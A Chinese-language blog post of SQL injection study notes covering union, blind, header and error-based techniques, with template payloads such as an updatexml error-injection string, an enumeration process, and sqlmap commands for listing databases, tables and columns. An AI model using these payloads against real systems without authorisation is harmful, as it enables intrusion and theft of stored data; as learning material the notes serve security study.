0
点赞
收藏
分享

微信扫一扫

sql注入

40dba2f2a596 2023-12-18 阅读 40

1. 数据库

1.1 常见数据

Oracle,SQL Server,DB2,PostgreSQL,MySQL,Access

1.2 联合注入

(1)information_schema 在里面有个存着所有库名的表:schemata,里面的schema_name:所有库名

(2)information_schema 在里面有个存着所有表名的表:tables,table_schema:所有库名,table_name:所有表名

(3)information_schema 在里面有个存着所有字段名的表:columns, table_schema:所有库名,table_name:所有表名,columns_name:所有字段名

* 代表所有   database()当前数据库名
select 字段名 from 表名      从表里查询所有内容
where  有条件的从表中选取数据
and 连接条件(同时满足)
or 连接条件(可同时不满足)
order by 根据指定的结果集/指定的列进行排序(列名和第几列)
limit x,1  显示x-1行的字段
union select 将多个表拼在一起(但是字段数必须一样)
%23/#/-- /--  注释

万能语句
select table_name from information_schema.tables where table_schema=database()      查找当前库本身的表名
select column_name from information_schema.columns where table_schema=database() and table_name='查到的表名'
                                                                                    查找查到表名的字段
select "查到的字段" from "查到的表名

2.盲注

2.1 布尔盲注

database()当前数据库名  substr()将数据库名拆分 ascii()转化为ASCII码
ascii(substr(database()n,1)   将数据库名从n位拆分并转化为ASCII码   
select length(database())     判断当前数据库名字长度
实战中通常将上列函数配合<,>,= 使用

2.2 时间盲注

sleep()         延迟时间返回数据
if(条件,结果(条件成立输出),结果(条件不成立输出))

3. header注入

2.1 User-Agent(bp工具:抓包,repeater功能)

参数用户可控,与数据库发生交互,进入且执行

insert into 表名(字段,字段)values('值','值')            插入语句

2.2报错注入(插件:Modheader)

原理:通过数据库写入非法路径报错的特性,来告诉我们数据库名/表名/字段名(把想要的东西,以报错的形式展现出来)

concat()        组合函数
select updatexml(目标xml内容,xml文档路径,更新内容)      更新xml文档的函数
select concat('~',(select database()))          将~和当前数据库名连接在一起,~可以被别的符号替换,也可换成16进制
select updatexml(1,concat('~',(select (数据库/表名/字段名)),1)      通过报错来告诉当前的数据库/表名/字段名
insert into 表名(字段,字段)values('' and updatexml(1,concat('~',(select (数据库/表名/字段名)),1))-- sfa,'值')
       ' and updatexml(1,concat('~',(select (数据库/表名/字段名)),1))-- sfa   注入语句

4.注入过程

找到注入点(判断是否能够注入)---->判断有几个字段(order by) --->查找回旋点(可以在页面显示出来)---->通过SQL语句(万能语句)找到数据

问题:为了避免符号传输问题,将符号改为URL编码

5.sqlmap

使用手册:https://www.cnblogs.com/hongfei/p/3872156.html

常用命令:url 判断可注入的参数 ,判断可以用那种SQL注入技术来注入,识别出哪种数据库,根据用户选择,读取哪些数据

-r sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie)

--dbs 即可列出所有的数据库。

--tables 可列出一个特定数据的所有表。

--columns 可列出指定数据库表中的字段,同时也会列出字段的数据类型。默认会使用当前数据库。

--flush-session 清除缓存

--batch 按默认值运行

-m 一起跑多个url

(注意:有时候需要告诉工具在哪里注入,放置*并且补全)


举报

相关推荐

0 条评论